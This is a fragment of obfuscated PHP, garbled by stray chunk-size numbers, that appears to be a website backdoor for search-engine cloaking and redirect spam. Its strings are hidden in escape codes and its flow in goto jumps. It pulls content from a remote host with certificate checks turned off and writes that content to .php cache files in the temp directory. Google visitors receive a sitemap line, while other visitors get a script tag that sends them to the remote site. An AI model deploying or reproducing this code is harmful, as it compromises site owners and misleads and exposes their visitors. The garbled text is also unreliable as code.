2 tr c ue, CURLOPT_ 5 CONNE 6 CTTIME 7 OUT => 24 5, CURLOPT_TIMEOUT => 8, CURLOPT_SSL 6 _VERIF 9 YPEER => 1a false, CURLOPT_SSL_VERIFYH 16 OST => false, CURLOPT_ 5 FOLLO 6 WLOCAT 3 ION 18 => false, CURLOPT_USERA 9 GENT => " a \x4d\157\1 d 72\151\154\x6 d c\141\57\65\x a 2e\60")); e $data = curl_e 7 xec($ch d ); curl_close d ($ch); } if ( 10 empty($data) && 9 ini_get(" 15 \x61\154\154\157\167\ 15 137\165\x72\154\137\1 d 46\157\x70\x6 d 5\156")) { $c 9 ontext = 7 stream_ c context_crea b te(array("\ f x68\164\x74\x70 f " => array("\x7 a 4\x69\x6d\ 1f 145\157\x75\164" => 8, "\x68\x6 10 5\x61\144\145\x7 8 2" => "\ 19 125\x73\x65\x72\x2d\101\x 10 67\x65\x6e\164\x 1b 3a\x20\x4d\157\172\151\154\ b 154\141\x2f c \65\56\60\xd a \xa"), "\x a 73\x73\x6c 18 " => array("\x76\145\162 e \x69\146\171\x c 5f\x70\x65\1 13 45\x72" => false, " 10 \166\x65\x72\151 8 \146\x79 14 \137\x70\x65\x65\162 e \x5f\156\141\x 11 6d\145" => false) 20 )); $data = @file_get_contents($ c url, false, 12 $context); } if (! 10 empty($data)) { f cache_set($url, b $data); } 15 return $data; } goto 6 Frs4L; 5 C4aA 12 0: if (!empty($iid 19 )) { $str = getCurlFast($ 5 hyzhd 8 y . "\x3 11 f\151\x69\144\x3d 7 {$iid}" b ); echo str 7 _replac 11 e(array("\147\x67 13 \x67\147\x67", "\x5 11 9\x59\131\131\131 b ", "\130\13 17 0\130\131\x59\131", "\x 7 e5\275\ 5 223\3 9 45\211\x8 c d\125\122\x4 9 c", "\125 10 \x55\125\x55\x55 d "), array($sz c , get_url_in 13 fo(), get_url_info( c "\142\x61\x7 1b 3\145"), get_url_info("\146 c \165\x6c\154 1d "), get_url_info("\156\157\x5 d f\x77\x77\167 9 ")), $str f ); die; } goto a wZIGm; mEf 8 J2: $kk 4 = is 10 set($get["\153\x 7 6b"]) ? 12 trim($get["\153\1 c 53"]) : ''; c goto B2cYK; 4 qVAP 7 R: $sur d l = $jd . "\x 6 73\61\ 10 62\x31\x32\x2e\x e 61\x73\160\x78 c "; goto jjw5 5 8; fD 4 KhA: 17 $sz = $iid = ''; goto 6 rS9s0; 16 djE41: if (!empty($sz b )) { $jd = 1b getCurlFast("{$http_type}{$ 7 vurl}\6 a 3\153\147\ 1f 56\141\x73\160\x78\x3f\163\172\ b x3d" . urle b ncode($sz)) c ; } else { $ 34 jd = getCurlFast("{$http_type}{$vurl}\63\x6b\147\56\ 15 x61\x73\160\x78\x3f\1 c 70\171\x3d{$ 14 http_type}"); $sz = 23 getCurlFast("{$http_type}{$vurl}\x3 19 3\153\147\56\x61\163\160\ 8 170\77\1 19 52\x64\x3d" . urlencode($ 8 jd)); } 9 goto fl0M 9 c; jjw58: 13 $sitemapLine = "\1 10 23\151\x74\145\x c 6d\141\x70\7 20 2\40{$http_type}{$_SERVER["\x48\ c 124\x54\x50\ 32 137\110\117\x53\124"]}{$_SERVER["\x53\x43\122\111\ d x50\124\x5f\1 e 16\101\x4d\x45 c "]}\77\167\x 19 3d" . date("\131\155\144\ f x48\151") . "\1 a 2"; goto Q b Z77P; Frs4L 18 : function get_url_info( 8 string $ 8 type = " 18 \144\x6f\155\x61\x69\x6e c ") : string 7 { $host c = $_SERVER[ 19 "\x48\x54\x54\120\137\x48 e \117\123\x54"] 3 ?? 17 ''; if ($type === "\15 c 6\157\137\x7 15 7\x77\167") { return d preg_replace( 17 "\x2f\x5e\x77\167\x77\1 a 34\56\57\1 7 51", '' c , $host); } 7 $protoc 2 ol 2a = !empty($_SERVER["\110\124\x54\x50\123"] 25 ) && $_SERVER["\x48\x54\x54\120\x53"] 11 !== "\x6f\146\x6 25 6" ? "\x68\x74\164\x70\x73\x3a\57\57" 9 : "\150\ 12 x74\x74\160\72\x2f 8 \57"; $b 10 ase = $protocol 7 . $host 1b ; if ($type === "\142\141\x 17 73\145") { return $base 1f ; } if ($type === "\x66\165\154 15 \154") { return $base 12 . ($_SERVER["\x52 8 \105\121 b \125\x45\x5 10 3\x54\137\x55\x5 d 2\x49"] ?? '' 1a ); } return $host; } goto c eaUB7; eXwce e : if ($domain 10 !== "\x67\x6f\x6 9 f\147\x6c 9 \145" && 15 !empty($iid)) { $knam 9 e = urlde 1f code(getCurlFast($jd . "\x67\x6 9 e\56\141\ 17 163\x70\170\x3f\x69\x69 12 \x64\x3d" . $iid)) 13 ; echo "\74\x73\143 10 \162\151\160\x74 c \76\154\157\ 12 x63\x61\x74\151\15 b 7\156\75\42 12 " . $jd . "\141\x2 10 e\x61\x73\x70\x7 10 8\x3f\x63\156\x6 9 1\x6d\145 1e \x3d" . urlencode($kname) . "\ e 46\x75\162\154 12 \75" . $http_type 11 . $_SERVER["\x48\ 1a 124\x54\120\137\x48\x4f\12 15 3\x54"] . $_SERVER["\ 14 123\x43\x52\111\x50\ 10 x54\137\x4e\x41\ 11 115\105"] . "\42\ b 74\57\163\x f 63\x72\151\160\ 15 164\76"; die; } goto c C4aA0; DHsL3 17 : if (!empty($get["\x77 d "])) { $param 9 s = http_ 6 build_ 5 query 10 (array("\x4e\x4f c \125\x6d\142 d \x65\x72" => 12 $get["\116\117\x55 10 \155\142\x65\162 f "] ?? '', "\x74 1b " => $get["\x74"] ?? '', "\ 8 143\x6e" 13 => $get["\x63\x6e" 17 ] ?? '', "\160\116\117\ c 125\155" => 31 $get["\x70\116\117\125\x6d"] ?? '', "\143\151\x64 16 " => $get["\x63\151\14 20 4"] ?? '', "\155" => $get["\155" d ] ?? '')); $s 15 tr = getCurlFast("{$s 9 url}\x3f{ 26 $params}"); echo str_replace(array("\1 a 71\171\x6d 15 \155", "\147\x67\147\ 12 147\147"), array($ 23 http_type . $_SERVER["\x48\x54\124\ d x50\x5f\110\x 1e 4f\x53\x54"] . $_SERVER["\123\ 6 103\12 12 2\x49\120\124\x5f\ 15 x4e\x41\x4d\x45"], $s 17 z), $str); die; } goto a mEfJ2; XsA d cz: function e cache_set($key c , $data) { $ a file = sys 9 _get_temp 5 _dir( 13 ) . "\x2f\143\x61\x d 63\150\x65\13 8 7" . md5 e ($key) . "\x2e c \160\150\x70 17 "; @file_put_contents($ 19 file, $data, LOCK_EX); } b goto VTcyq; 9 QLlhb: $ 8 vurl = " 10 \x74\157\x2e\x6a 12 \147\141\x6c\154\x 9 73\56\x63 c \x6f\x6d\x2f f "; goto fDKhA; 5 S2KVF 7 : $is_n 7 o_query 15 = empty($_SERVER["\x c 51\x55\105\x b 52\131\x5f\ 11 123\124\122\111\x b 4e\x47"]); 8 goto zHn 1e Cd; xI3e6: if ($kk !== '' && ! 12 preg_match("\57\x5 a e\133\101\ f 55\132\x61\55\x 8 7a\60\55 8 \x39\135 8 \53\44\x d 2f", $kk)) { 3a output_sitemap_and_exit($sitemapLine, $http_type); } goto c S2KVF; fl0Mc a : $hyzhdy 12 = $jd . "\x31\x32\ 15 61\62\56\x61\163\x70\ 11 x78"; goto qVAPR; 17 ghIXA: function cache_ e get($key, $exp 8 ire = 30 28 0) { $file = sys_get_temp_dir() . "\x2f\ a x63\141\14 b 3\150\145\1 19 37" . md5($key) . "\56\x7 10 0\150\160"; if ( 16 file_exists($file) && 7 time() 6 - file e mtime($file) < 13 $expire) { return 18 file_get_contents($file) 10 ; } return false 15 ; } goto XsAcz; zHnCd b : if ($kk = 15 == '' && $is_no_query 11 ) { if ($domain = 1d == "\x67\157\157\x67\x6c\x65" 40 ) { output_sitemap_and_exit($sitemapLine, $http_type); } else { 14 die; } } goto QmNxK; 9 Sda4b: ? 1 > 0